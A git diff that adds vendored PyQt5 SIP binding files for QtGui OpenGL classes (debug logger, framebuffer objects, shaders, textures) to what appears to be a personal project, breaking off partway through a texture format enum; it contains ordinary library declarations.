MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) + +class QOpenGLDebugMessage +{ +%TypeHeaderCode +#include +%End + +public: + enum Source + { + InvalidSource, + APISource, + WindowSystemSource, + ShaderCompilerSource, + ThirdPartySource, + ApplicationSource, + OtherSource, + AnySource, + }; + + typedef QFlags Sources; + + enum Type + { + InvalidType, + ErrorType, + DeprecatedBehaviorType, + UndefinedBehaviorType, + PortabilityType, + PerformanceType, + OtherType, + MarkerType, + GroupPushType, + GroupPopType, + AnyType, + }; + + typedef QFlags Types; + + enum Severity + { + InvalidSeverity, + HighSeverity, + MediumSeverity, + LowSeverity, + NotificationSeverity, + AnySeverity, + }; + + typedef QFlags Severities; + QOpenGLDebugMessage(); + QOpenGLDebugMessage(const QOpenGLDebugMessage &debugMessage); + ~QOpenGLDebugMessage(); + void swap(QOpenGLDebugMessage &debugMessage /Constrained/); + QOpenGLDebugMessage::Source source() const; + QOpenGLDebugMessage::Type type() const; + QOpenGLDebugMessage::Severity severity() const; + GLuint id() const; + QString message() const; + static QOpenGLDebugMessage createApplicationMessage(const QString &text, GLuint id = 0, QOpenGLDebugMessage::Severity severity = QOpenGLDebugMessage::NotificationSeverity, QOpenGLDebugMessage::Type type = QOpenGLDebugMessage::OtherType); + static QOpenGLDebugMessage createThirdPartyMessage(const QString &text, GLuint id = 0, QOpenGLDebugMessage::Severity severity = QOpenGLDebugMessage::NotificationSeverity, QOpenGLDebugMessage::Type type = QOpenGLDebugMessage::OtherType); + bool operator==(const QOpenGLDebugMessage &debugMessage) const; + bool operator!=(const QOpenGLDebugMessage &debugMessage) const; +}; + +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLDebugMessage::Source f1, QFlags f2); +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLDebugMessage::Type f1, QFlags f2); +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLDebugMessage::Severity f1, QFlags f2); +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) + +class QOpenGLDebugLogger : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum LoggingMode + { + AsynchronousLogging, + SynchronousLogging, + }; + + explicit QOpenGLDebugLogger(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLDebugLogger(); + bool initialize(); + bool isLogging() const; + QOpenGLDebugLogger::LoggingMode loggingMode() const; + qint64 maximumMessageLength() const; + void pushGroup(const QString &name, GLuint id = 0, QOpenGLDebugMessage::Source source = QOpenGLDebugMessage::ApplicationSource); + void popGroup(); + void enableMessages(QOpenGLDebugMessage::Sources sources = QOpenGLDebugMessage::AnySource, QOpenGLDebugMessage::Types types = QOpenGLDebugMessage::AnyType, QOpenGLDebugMessage::Severities severities = QOpenGLDebugMessage::Severity::AnySeverity); + void enableMessages(const QVector &ids, QOpenGLDebugMessage::Sources sources = QOpenGLDebugMessage::AnySource, QOpenGLDebugMessage::Types types = QOpenGLDebugMessage::AnyType); + void disableMessages(QOpenGLDebugMessage::Sources sources = QOpenGLDebugMessage::AnySource, QOpenGLDebugMessage::Types types = QOpenGLDebugMessage::AnyType, QOpenGLDebugMessage::Severities severities = QOpenGLDebugMessage::Severity::AnySeverity); + void disableMessages(const QVector &ids, QOpenGLDebugMessage::Sources sources = QOpenGLDebugMessage::AnySource, QOpenGLDebugMessage::Types types = QOpenGLDebugMessage::AnyType); + QList loggedMessages() const; + +public slots: + void logMessage(const QOpenGLDebugMessage &debugMessage); + void startLogging(QOpenGLDebugLogger::LoggingMode loggingMode = QOpenGLDebugLogger::AsynchronousLogging); + void stopLogging(); + +signals: + void messageLogged(const QOpenGLDebugMessage &debugMessage); + +private: + QOpenGLDebugLogger(const QOpenGLDebugLogger &); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglframebufferobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglframebufferobject.sip new file mode 100644 index 00000000..d6f06f52 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglframebufferobject.sip @@ -0,0 +1,145 @@ +// qopenglframebufferobject.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +class QOpenGLFramebufferObject +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// The defaults are different for desktop OpenGL and OpenGL/ES so pretend the +// latter is the former. +#if defined(QT_OPENGL_ES) +#undef GL_RGBA8 +#define GL_RGBA8 GL_RGBA +#endif +%End + +public: + enum Attachment + { + NoAttachment, + CombinedDepthStencil, + Depth, + }; + + QOpenGLFramebufferObject(const QSize &size, GLenum target = GL_TEXTURE_2D); + QOpenGLFramebufferObject(int width, int height, GLenum target = GL_TEXTURE_2D); + QOpenGLFramebufferObject(const QSize &size, QOpenGLFramebufferObject::Attachment attachment, GLenum target = GL_TEXTURE_2D, GLenum internal_format = GL_RGBA8); + QOpenGLFramebufferObject(int width, int height, QOpenGLFramebufferObject::Attachment attachment, GLenum target = GL_TEXTURE_2D, GLenum internal_format = GL_RGBA8); + QOpenGLFramebufferObject(const QSize &size, const QOpenGLFramebufferObjectFormat &format); + QOpenGLFramebufferObject(int width, int height, const QOpenGLFramebufferObjectFormat &format); + virtual ~QOpenGLFramebufferObject(); + QOpenGLFramebufferObjectFormat format() const; + bool isValid() const; + bool isBound() const; + bool bind(); + bool release(); + int width() const; + int height() const; + GLuint texture() const; +%If (Qt_5_6_0 -) + QVector textures() const; +%End + QSize size() const; + QImage toImage() const; +%If (Qt_5_4_0 -) + QImage toImage(bool flipped) const; +%End +%If (Qt_5_6_0 -) + QImage toImage(bool flipped, int colorAttachmentIndex) const; +%End + QOpenGLFramebufferObject::Attachment attachment() const; + void setAttachment(QOpenGLFramebufferObject::Attachment attachment); + GLuint handle() const; + static bool bindDefault(); + static bool hasOpenGLFramebufferObjects(); + static bool hasOpenGLFramebufferBlit(); +%If (Qt_5_7_0 -) + + enum FramebufferRestorePolicy + { + DontRestoreFramebufferBinding, + RestoreFramebufferBindingToDefault, + RestoreFrameBufferBinding, + }; + +%End + static void blitFramebuffer(QOpenGLFramebufferObject *target, const QRect &targetRect, QOpenGLFramebufferObject *source, const QRect &sourceRect, GLbitfield buffers = GL_COLOR_BUFFER_BIT, GLenum filter = GL_NEAREST); + static void blitFramebuffer(QOpenGLFramebufferObject *target, QOpenGLFramebufferObject *source, GLbitfield buffers = GL_COLOR_BUFFER_BIT, GLenum filter = GL_NEAREST); +%If (Qt_5_6_0 -) + static void blitFramebuffer(QOpenGLFramebufferObject *target, const QRect &targetRect, QOpenGLFramebufferObject *source, const QRect &sourceRect, GLbitfield buffers, GLenum filter, int readColorAttachmentIndex, int drawColorAttachmentIndex); +%End +%If (Qt_5_7_0 -) + static void blitFramebuffer(QOpenGLFramebufferObject *target, const QRect &targetRect, QOpenGLFramebufferObject *source, const QRect &sourceRect, GLbitfield buffers, GLenum filter, int readColorAttachmentIndex, int drawColorAttachmentIndex, QOpenGLFramebufferObject::FramebufferRestorePolicy restorePolicy); +%End +%If (Qt_5_3_0 -) + GLuint takeTexture(); +%End +%If (Qt_5_6_0 -) + GLuint takeTexture(int colorAttachmentIndex); +%End +%If (Qt_5_6_0 -) + void addColorAttachment(const QSize &size, GLenum internal_format = 0); +%End +%If (Qt_5_6_0 -) + void addColorAttachment(int width, int height, GLenum internal_format = 0); +%End +%If (Qt_5_6_0 -) + QVector sizes() const; +%End + +private: + QOpenGLFramebufferObject(const QOpenGLFramebufferObject &); +}; + +%End +%If (PyQt_OpenGL) + +class QOpenGLFramebufferObjectFormat +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLFramebufferObjectFormat(); + QOpenGLFramebufferObjectFormat(const QOpenGLFramebufferObjectFormat &other); + ~QOpenGLFramebufferObjectFormat(); + void setSamples(int samples); + int samples() const; + void setMipmap(bool enabled); + bool mipmap() const; + void setAttachment(QOpenGLFramebufferObject::Attachment attachment); + QOpenGLFramebufferObject::Attachment attachment() const; + void setTextureTarget(GLenum target); + GLenum textureTarget() const; + void setInternalTextureFormat(GLenum internalTextureFormat); + GLenum internalTextureFormat() const; + bool operator==(const QOpenGLFramebufferObjectFormat &other) const; + bool operator!=(const QOpenGLFramebufferObjectFormat &other) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpaintdevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpaintdevice.sip new file mode 100644 index 00000000..f2f7c21c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpaintdevice.sip @@ -0,0 +1,60 @@ +// qopenglpaintdevice.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +class QOpenGLPaintDevice : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLPaintDevice(); + explicit QOpenGLPaintDevice(const QSize &size); + QOpenGLPaintDevice(int width, int height); + virtual ~QOpenGLPaintDevice(); + virtual QPaintEngine *paintEngine() const; + QOpenGLContext *context() const; + QSize size() const; + void setSize(const QSize &size); + qreal dotsPerMeterX() const; + qreal dotsPerMeterY() const; + void setDotsPerMeterX(qreal); + void setDotsPerMeterY(qreal); + void setPaintFlipped(bool flipped); + bool paintFlipped() const; + virtual void ensureActiveTarget(); +%If (Qt_5_1_0 -) + void setDevicePixelRatio(qreal devicePixelRatio); +%End + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; + +private: +%If (- Qt_5_1_0) + QOpenGLPaintDevice(const QOpenGLPaintDevice &); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpixeltransferoptions.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpixeltransferoptions.sip new file mode 100644 index 00000000..6190d9f6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglpixeltransferoptions.sip @@ -0,0 +1,56 @@ +// qopenglpixeltransferoptions.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + +class QOpenGLPixelTransferOptions +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLPixelTransferOptions(); + QOpenGLPixelTransferOptions(const QOpenGLPixelTransferOptions &); + ~QOpenGLPixelTransferOptions(); + void swap(QOpenGLPixelTransferOptions &other /Constrained/); + void setAlignment(int alignment); + int alignment() const; + void setSkipImages(int skipImages); + int skipImages() const; + void setSkipRows(int skipRows); + int skipRows() const; + void setSkipPixels(int skipPixels); + int skipPixels() const; + void setImageHeight(int imageHeight); + int imageHeight() const; + void setRowLength(int rowLength); + int rowLength() const; + void setLeastSignificantByteFirst(bool lsbFirst); + bool isLeastSignificantBitFirst() const; + void setSwapBytesEnabled(bool swapBytes); + bool isSwapBytesEnabled() const; +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglshaderprogram.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglshaderprogram.sip new file mode 100644 index 00000000..4202297f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglshaderprogram.sip @@ -0,0 +1,364 @@ +// qopenglshaderprogram.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +class QOpenGLShader : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum ShaderTypeBit + { + Vertex, + Fragment, +%If (Qt_5_1_0 -) + Geometry, +%End +%If (Qt_5_1_0 -) + TessellationControl, +%End +%If (Qt_5_1_0 -) + TessellationEvaluation, +%End +%If (Qt_5_1_0 -) + Compute, +%End + }; + + typedef QFlags ShaderType; + QOpenGLShader(QOpenGLShader::ShaderType type, QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLShader(); + QOpenGLShader::ShaderType shaderType() const; + bool compileSourceCode(const QByteArray &source); + bool compileSourceCode(const QString &source); + bool compileSourceFile(const QString &fileName); + QByteArray sourceCode() const; + bool isCompiled() const; + QString log() const; + GLuint shaderId() const; + static bool hasOpenGLShaders(QOpenGLShader::ShaderType type, QOpenGLContext *context = 0); +}; + +%End +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLShader::ShaderTypeBit f1, QFlags f2); +%End +%If (PyQt_OpenGL) + +class QOpenGLShaderProgram : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOpenGLShaderProgram(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLShaderProgram(); + bool addShader(QOpenGLShader *shader); + void removeShader(QOpenGLShader *shader); + QList shaders() const; + bool addShaderFromSourceCode(QOpenGLShader::ShaderType type, const QByteArray &source); + bool addShaderFromSourceCode(QOpenGLShader::ShaderType type, const QString &source); + bool addShaderFromSourceFile(QOpenGLShader::ShaderType type, const QString &fileName); + void removeAllShaders(); + virtual bool link(); + bool isLinked() const; + QString log() const; + bool bind(); + void release(); + GLuint programId() const; + void bindAttributeLocation(const QByteArray &name, int location); + void bindAttributeLocation(const QString &name, int location); + int attributeLocation(const QByteArray &name) const; + int attributeLocation(const QString &name) const; + void setAttributeValue(int location, GLfloat value); + void setAttributeValue(int location, GLfloat x, GLfloat y); + void setAttributeValue(int location, GLfloat x, GLfloat y, GLfloat z); + void setAttributeValue(int location, GLfloat x, GLfloat y, GLfloat z, GLfloat w); + void setAttributeValue(int location, const QVector2D &value); + void setAttributeValue(int location, const QVector3D &value); + void setAttributeValue(int location, const QVector4D &value); + void setAttributeValue(int location, const QColor &value); + void setAttributeValue(const char *name, GLfloat value); + void setAttributeValue(const char *name, GLfloat x, GLfloat y); + void setAttributeValue(const char *name, GLfloat x, GLfloat y, GLfloat z); + void setAttributeValue(const char *name, GLfloat x, GLfloat y, GLfloat z, GLfloat w); + void setAttributeValue(const char *name, const QVector2D &value); + void setAttributeValue(const char *name, const QVector3D &value); + void setAttributeValue(const char *name, const QVector4D &value); + void setAttributeValue(const char *name, const QColor &value); + void setAttributeArray(int location, SIP_PYOBJECT values /TypeHint="PYQT_SHADER_ATTRIBUTE_ARRAY"/); +%MethodCode + const GLfloat *values; + int tsize; + + values = qpyopengl_attribute_array(a1, sipSelf, SIPLong_FromLong(a0), &tsize, + &sipError); + + if (values) + sipCpp->setAttributeArray(a0, values, tsize); +%End + + void setAttributeArray(const char *name, SIP_PYOBJECT values /TypeHint="PYQT_SHADER_ATTRIBUTE_ARRAY"/); +%MethodCode + const GLfloat *values; + int tsize; + + values = qpyopengl_attribute_array(a1, sipSelf, SIPBytes_FromString(a0), + &tsize, &sipError); + + if (values) + sipCpp->setAttributeArray(a0, values, tsize); +%End + + void setAttributeBuffer(int location, GLenum type, int offset, int tupleSize, int stride = 0); + void setAttributeBuffer(const char *name, GLenum type, int offset, int tupleSize, int stride = 0); + void enableAttributeArray(int location); + void enableAttributeArray(const char *name); + void disableAttributeArray(int location); + void disableAttributeArray(const char *name); + int uniformLocation(const QByteArray &name) const; + int uniformLocation(const QString &name) const; + void setUniformValue(int location, GLint value /Constrained/); + void setUniformValue(int location, GLfloat value /Constrained/); + void setUniformValue(int location, GLfloat x, GLfloat y); + void setUniformValue(int location, GLfloat x, GLfloat y, GLfloat z); + void setUniformValue(int location, GLfloat x, GLfloat y, GLfloat z, GLfloat w); + void setUniformValue(int location, const QVector2D &value); + void setUniformValue(int location, const QVector3D &value); + void setUniformValue(int location, const QVector4D &value); + void setUniformValue(int location, const QColor &color); + void setUniformValue(int location, const QPoint &point); + void setUniformValue(int location, const QPointF &point); + void setUniformValue(int location, const QSize &size); + void setUniformValue(int location, const QSizeF &size); + void setUniformValue(int location, const QMatrix2x2 &value); + void setUniformValue(int location, const QMatrix2x3 &value); + void setUniformValue(int location, const QMatrix2x4 &value); + void setUniformValue(int location, const QMatrix3x2 &value); + void setUniformValue(int location, const QMatrix3x3 &value); + void setUniformValue(int location, const QMatrix3x4 &value); + void setUniformValue(int location, const QMatrix4x2 &value); + void setUniformValue(int location, const QMatrix4x3 &value); + void setUniformValue(int location, const QMatrix4x4 &value); + void setUniformValue(int location, const QTransform &value); + void setUniformValue(const char *name, GLint value /Constrained/); + void setUniformValue(const char *name, GLfloat value /Constrained/); + void setUniformValue(const char *name, GLfloat x, GLfloat y); + void setUniformValue(const char *name, GLfloat x, GLfloat y, GLfloat z); + void setUniformValue(const char *name, GLfloat x, GLfloat y, GLfloat z, GLfloat w); + void setUniformValue(const char *name, const QVector2D &value); + void setUniformValue(const char *name, const QVector3D &value); + void setUniformValue(const char *name, const QVector4D &value); + void setUniformValue(const char *name, const QColor &color); + void setUniformValue(const char *name, const QPoint &point); + void setUniformValue(const char *name, const QPointF &point); + void setUniformValue(const char *name, const QSize &size); + void setUniformValue(const char *name, const QSizeF &size); + void setUniformValue(const char *name, const QMatrix2x2 &value); + void setUniformValue(const char *name, const QMatrix2x3 &value); + void setUniformValue(const char *name, const QMatrix2x4 &value); + void setUniformValue(const char *name, const QMatrix3x2 &value); + void setUniformValue(const char *name, const QMatrix3x3 &value); + void setUniformValue(const char *name, const QMatrix3x4 &value); + void setUniformValue(const char *name, const QMatrix4x2 &value); + void setUniformValue(const char *name, const QMatrix4x3 &value); + void setUniformValue(const char *name, const QMatrix4x4 &value); + void setUniformValue(const char *name, const QTransform &value); + void setUniformValueArray(int location, SIP_PYOBJECT values /TypeHint="PYQT_SHADER_UNIFORM_VALUE_ARRAY"/); +%MethodCode + const void *values; + const sipTypeDef *array_type; + int array_len, tsize; + + values = qpyopengl_uniform_value_array(a1, sipSelf, SIPLong_FromLong(a0), + &array_type, &array_len, &tsize, &sipError); + + if (values) + { + if (array_type == sipType_QVector2D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QVector3D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QVector4D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len, tsize); + } +%End + + void setUniformValueArray(const char *name, SIP_PYOBJECT values /TypeHint="PYQT_SHADER_UNIFORM_VALUE_ARRAY"/); +%MethodCode + const void *values; + const sipTypeDef *array_type; + int array_len, tsize; + + values = qpyopengl_uniform_value_array(a1, sipSelf, SIPBytes_FromString(a0), + &array_type, &array_len, &tsize, &sipError); + + if (values) + { + if (array_type == sipType_QVector2D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QVector3D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QVector4D) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix2x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix3x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x2) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x3) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else if (array_type == sipType_QMatrix4x4) + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len); + else + sipCpp->setUniformValueArray(a0, + reinterpret_cast(values), array_len, tsize); + } +%End + + static bool hasOpenGLShaderPrograms(QOpenGLContext *context = 0); +%If (Qt_5_1_0 -) + int maxGeometryOutputVertices() const; +%End +%If (Qt_5_1_0 -) + void setPatchVertexCount(int count); +%End +%If (Qt_5_1_0 -) + int patchVertexCount() const; +%End +%If (Qt_5_1_0 -) + void setDefaultOuterTessellationLevels(const QVector &levels); +%End +%If (Qt_5_1_0 -) + QVector defaultOuterTessellationLevels() const; +%End +%If (Qt_5_1_0 -) + void setDefaultInnerTessellationLevels(const QVector &levels); +%End +%If (Qt_5_1_0 -) + QVector defaultInnerTessellationLevels() const; +%End +%If (Qt_5_3_0 -) + bool create(); +%End +%If (Qt_5_9_0 -) + bool addCacheableShaderFromSourceCode(QOpenGLShader::ShaderType type, const QByteArray &source); +%End +%If (Qt_5_9_0 -) + bool addCacheableShaderFromSourceCode(QOpenGLShader::ShaderType type, const QString &source); +%End +%If (Qt_5_9_0 -) + bool addCacheableShaderFromSourceFile(QOpenGLShader::ShaderType type, const QString &fileName); +%End +}; + +%End + +%ModuleHeaderCode +#include "qpyopengl_api.h" +%End + +%InitialisationCode +#if defined(SIP_FEATURE_PyQt_OpenGL) +qpyopengl_init(); +#endif +%End + +%ExportedTypeHintCode +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] +%End + +%TypeHintCode +# Convenient aliases for complicated OpenGL types. +PYQT_SHADER_ATTRIBUTE_ARRAY = typing.Union[typing.Sequence['QVector2D'], + typing.Sequence['QVector3D'], typing.Sequence['QVector4D'], + typing.Sequence[typing.Sequence[float]]] +PYQT_SHADER_UNIFORM_VALUE_ARRAY = typing.Union[typing.Sequence['QVector2D'], + typing.Sequence['QVector3D'], typing.Sequence['QVector4D'], + typing.Sequence['QMatrix2x2'], typing.Sequence['QMatrix2x3'], + typing.Sequence['QMatrix2x4'], typing.Sequence['QMatrix3x2'], + typing.Sequence['QMatrix3x3'], typing.Sequence['QMatrix3x4'], + typing.Sequence['QMatrix4x2'], typing.Sequence['QMatrix4x3'], + typing.Sequence['QMatrix4x4'], typing.Sequence[typing.Sequence[float]]] +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltexture.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltexture.sip new file mode 100644 index 00000000..6cc69154 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltexture.sip @@ -0,0 +1,644 @@ +// qopengltexture.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + +class QOpenGLTexture +{ +%TypeHeaderCode +#include +%End + +public: + enum Target + { + Target1D, + Target1DArray, + Target2D, + Target2DArray, + Target3D, + TargetCubeMap, + TargetCubeMapArray, + Target2DMultisample, + Target2DMultisampleArray, + TargetRectangle, + TargetBuffer, + }; + + enum BindingTarget + { + BindingTarget1D, + BindingTarget1DArray, + BindingTarget2D, + BindingTarget2DArray, + BindingTarget3D, + BindingTargetCubeMap, + BindingTargetCubeMapArray, + BindingTarget2DMultisample, + BindingTarget2DMultisampleArray, + BindingTargetRectangle, + BindingTargetBuffer, + }; + + enum MipMapGeneration + { + GenerateMipMaps, + DontGenerateMipMaps, + }; + + enum TextureUnitReset + { + ResetTextureUnit, + DontResetTextureUnit, + }; + + explicit QOpenGLTexture(QOpenGLTexture::Target target); + QOpenGLTexture(const QImage &image, QOpenGLTexture::MipMapGeneration genMipMaps = QOpenGLTexture::GenerateMipMaps); + ~QOpenGLTexture(); + bool create(); + void destroy(); + bool isCreated() const; + GLuint textureId() const; + void bind(); + void bind(uint unit, QOpenGLTexture::TextureUnitReset reset = QOpenGLTexture::DontResetTextureUnit); + void release(); + void release(uint unit, QOpenGLTexture::TextureUnitReset reset = QOpenGLTexture::DontResetTextureUnit); + bool isBound() const; + bool isBound(uint unit); + static GLuint boundTextureId(QOpenGLTexture::BindingTarget target); + static GLuint boundTextureId(uint unit, QOpenGLTexture::BindingTarget target); + + enum TextureFormat + { + NoFormat, + R8_UNorm, + RG8_UNorm, + RGB8_UNorm, + RGBA8_UNorm, + R16_UNorm, + RG16_UNorm, + RGB16_UNorm, + RGBA16_UNorm, + R8_SNorm, + RG8_SNorm, + RGB8_SNorm, + RGBA8_SNorm, + R16_SNorm, + RG16_SNorm, + RGB16_SNorm, + RGBA16_SNorm, + R8U, + RG8U, + RGB8U, + RGBA8U, + R16U, + RG16U, + RGB16U, + RGBA16U, + R32U, + RG32U, + RGB32U, + RGBA32U, + R8I, + RG8I, + RGB8I, + RGBA8I, + R16I, + RG16I, + RGB16I, + RGBA16I, + R32I, + RG32I, + RGB32I, + RGBA32I, + R16F, + RG16F, + RGB16F, + RGBA16F, + 